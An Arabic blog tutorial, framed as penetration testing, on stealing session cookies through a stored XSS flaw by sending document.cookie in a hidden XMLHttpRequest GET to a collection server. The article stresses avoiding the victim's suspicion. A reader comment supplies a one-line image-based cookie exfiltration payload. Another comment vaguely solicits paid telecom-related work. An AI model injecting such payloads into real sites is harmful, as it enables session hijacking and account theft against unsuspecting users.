مقال : سرقة cookies من خلال ثغرات XSS بإستخدام XMLHttpRequest Method
كما نعلم أن الهدف من أي عملية إختبار الإختراق لا يتطلب فقط برهنة الخطأ البرمجي , بل يجب علينا إستغلاله للوصول إلى إختراق حقيقي للهدف يشكل خطر فعلي على الشركة أو الجهة التي طلبت أن تقوم لها بإختبار إختراق, ففي حال قمت بإكتشاف ثغرة xss على سبيل المثال في هدف معين طُلب منك أن تقوم بإختبار إختراقه ففي بعض الحالات لا يكفي فقط أن تقوم بعرض أمر إستعراضي كعرض javascript alert لكي تبرهن الثغرة , فهنا يجب عليك أن تقوم بإستكمال عملية إختبار الإختراق لبرهنة الخطر الحقيقي للثغرة كسرقة Cookies لهذا الهدف.
في فيديو سابق , قمت بشرح ثغرات Cross Site Scripting – XSS , وقمت بتوضيح بعض الأمور التي تتعلق بهذه الثغرة , وفي هذا المقال بإذن الله سوف أشرح كيفية إستغلال هذه الثغرة وإستعمالها في سرقة Cookies الخاصة بالهدف بشكل خفي دون أن نثير إنتباه الشخص بحركات غير طبيعية , حيث سوف نقوم بإستخدام Javascript لإرسال طلب GET يحتوي على Cookies دون أن نثير إنتباه الشخص , سوف نستغل الثغرة داخلة صفحة لدينا ونقوم بسرقة Cookies بإستخدام هذه التقنية.
سوف نقوم بإستخدام XMLHttpRequest وهو Object “كائن” أو “عنصر” خاص بلغة Javascript سوف نقوم بإستخدامه لإرسال طلب GET بالكوكيز الخاصة بنا , فمثلاً الكود التالي يوضح كيفية إرسال طلب معين من خلال XMLHttpRequest :
هذا الكود يقوم في البداية بتعريف متغير إسمه data , ومن ثم يقوم بإستدعاء الكائن XMLHttpRequest وتعريفه بالمتغير xmlHttp , بعد ذلك يقوم بإرسال طلب من نوع GET للعنوان 127.0.0.1:8090 مع قيمة المتغير Data لكي تكون النتيجة كالتالي :
كما نلاحظ تم إرسال طلب GET يحمل just data ! وهي قيمة المتغير data , وبهذه الطريقة سوف نقوم الأن بسرقة الكوكيز من داخل سكربت مصاب بثغرة stored xss.
طبعاً أنا قمت بشرح الطريقة بشكل عام , ولكن يمكنك برمجة سكربت يعمل من جانب الخادم يقوم بتخزين الطلب وإظهاره بشكل أكثر وضوح.
الأن هذه هي الصفحة المصابة وكما نرى تقوم بحفظ الأمور التي نقوم بإدخالها بشكل سريع ومن ثم عرضها مجدداً لنا :
كما نشاهد فور إدخال النص Just Test Text !! قام بطباعته لنا وسوف يقوم بحفظها داخل الصفحة , الأن سوف نقوم للتأكيد بإدخال javascript alert لكي نتقوم بالتحقق من إمكانية حقن أكواد Javascript والتحقق من وجود ثغرة XSS :
وهنا نتيجة تنفيذ الكود , مما يؤكد لنا وجود الثغرة بهذه الصفحة :
بالطبع لن نقوم بشرح كيفية إكتشاف الثغرة بالتفصيل هنا , إنما فقط كيفية تنفيذ إستغلال بإستخدام XMLHttpReqest
من المفترض الأن أن إمكانية تنفيذ كود Javascript بالصفحة أصبحت أكيدة وأن الصفحة مصابة بثغرة Stored XSS , لذلك سوف نقوم بحقن الكود التالي الذي يقوم بإرسال طلب GET يحتوي على الكوكيز الخاصة بالمستخدم , وعليه نكون قد أتممنا إستغلال الثغرة بنجاح.
هذا الكود الذي سوف نستخدمه , قمنا فقط بتعديل بسيط جداً على الكود السابق بحيث يقوم بجلب document.cookie بدلاً من المتغير data :
سوف نقوم بوضعه بالصفحة الأن كالتالي :
وفور وضع الكود سوف تكون النتيجة كالتالي :
كما نشاهد تم إرسال طلب يحتوي على الكوكيز والتي تحمل القيمة AAAACookiesAAAA وبهذا نكون أنهينا الهجوم بشكل كامل دون أن نثير أي تحويل بالصفحة لدى المستخدم أو نثير أي شكوك لديه بوجود عملية غير طبيعية بالصفحة.
كما ذكرت مسبقاً أن هذا المقال فقط يوضح كيفية إستخدام الطريقة بشكل عام , يمكنكم تطويرها وكتابة سكربت يقوم بقرأة الطلب هذا وترجمته بشكل أفضل وكذلك حفظه داخل مجلد معين أو إرسال تنبيه لك عبر البريد 😉
أتمنى أن يكون المقال قد أعجبكم وبإذن الله سوف نلتقي بمقالات أخرى.
موضوع في غاية الأهمية أخي محمد عسكر. سلمت يداك وننتظر المزيد.
موضوع شيق ..
ممكن بطريقة اخري وهي عمل صورة
var img = new Image().src=”http://localhost:8090/”+document.cookie;
طيب معلش يعني . انا مش شايف ايه الهمية ,, يعني لم اجلب الباسورد او شيء !!
شكلك ما تعرف الكوكيز ومدى خطورته
ممتاز ثغرة في غاية الاهمية .
تستحق التقدير
تحياتي لكم
جميل وحديث ومستهدف
كيفك محمد انا احمد من غزة اذا ممكن نتوصال عى خاص او سكيبي
فى شغال مهم كتير بجيب فلوس كتير من الاتصالات عبر نت
ahmed.arafa204
أعجبتني شروحاتك البسيطة
شكر لك أخ محمد مزيدا من التألق والابداع
السلام عليكم اخوي الغالي
الموضوع جميل ويستحق التجربه بهذه الطريقه وفعلا أكواد الأجاكس هو الحل لإخفاء الأعمال على العميل شكرا جزيلا
ممكن حد يساعدني في تعلم الهاكر ارجو الرد علي ايميلي في الفيس بوك https://www.facebook.com/odaesala
alert (“h”);
هههههههههههه تجارب فاشله يا اخ wwed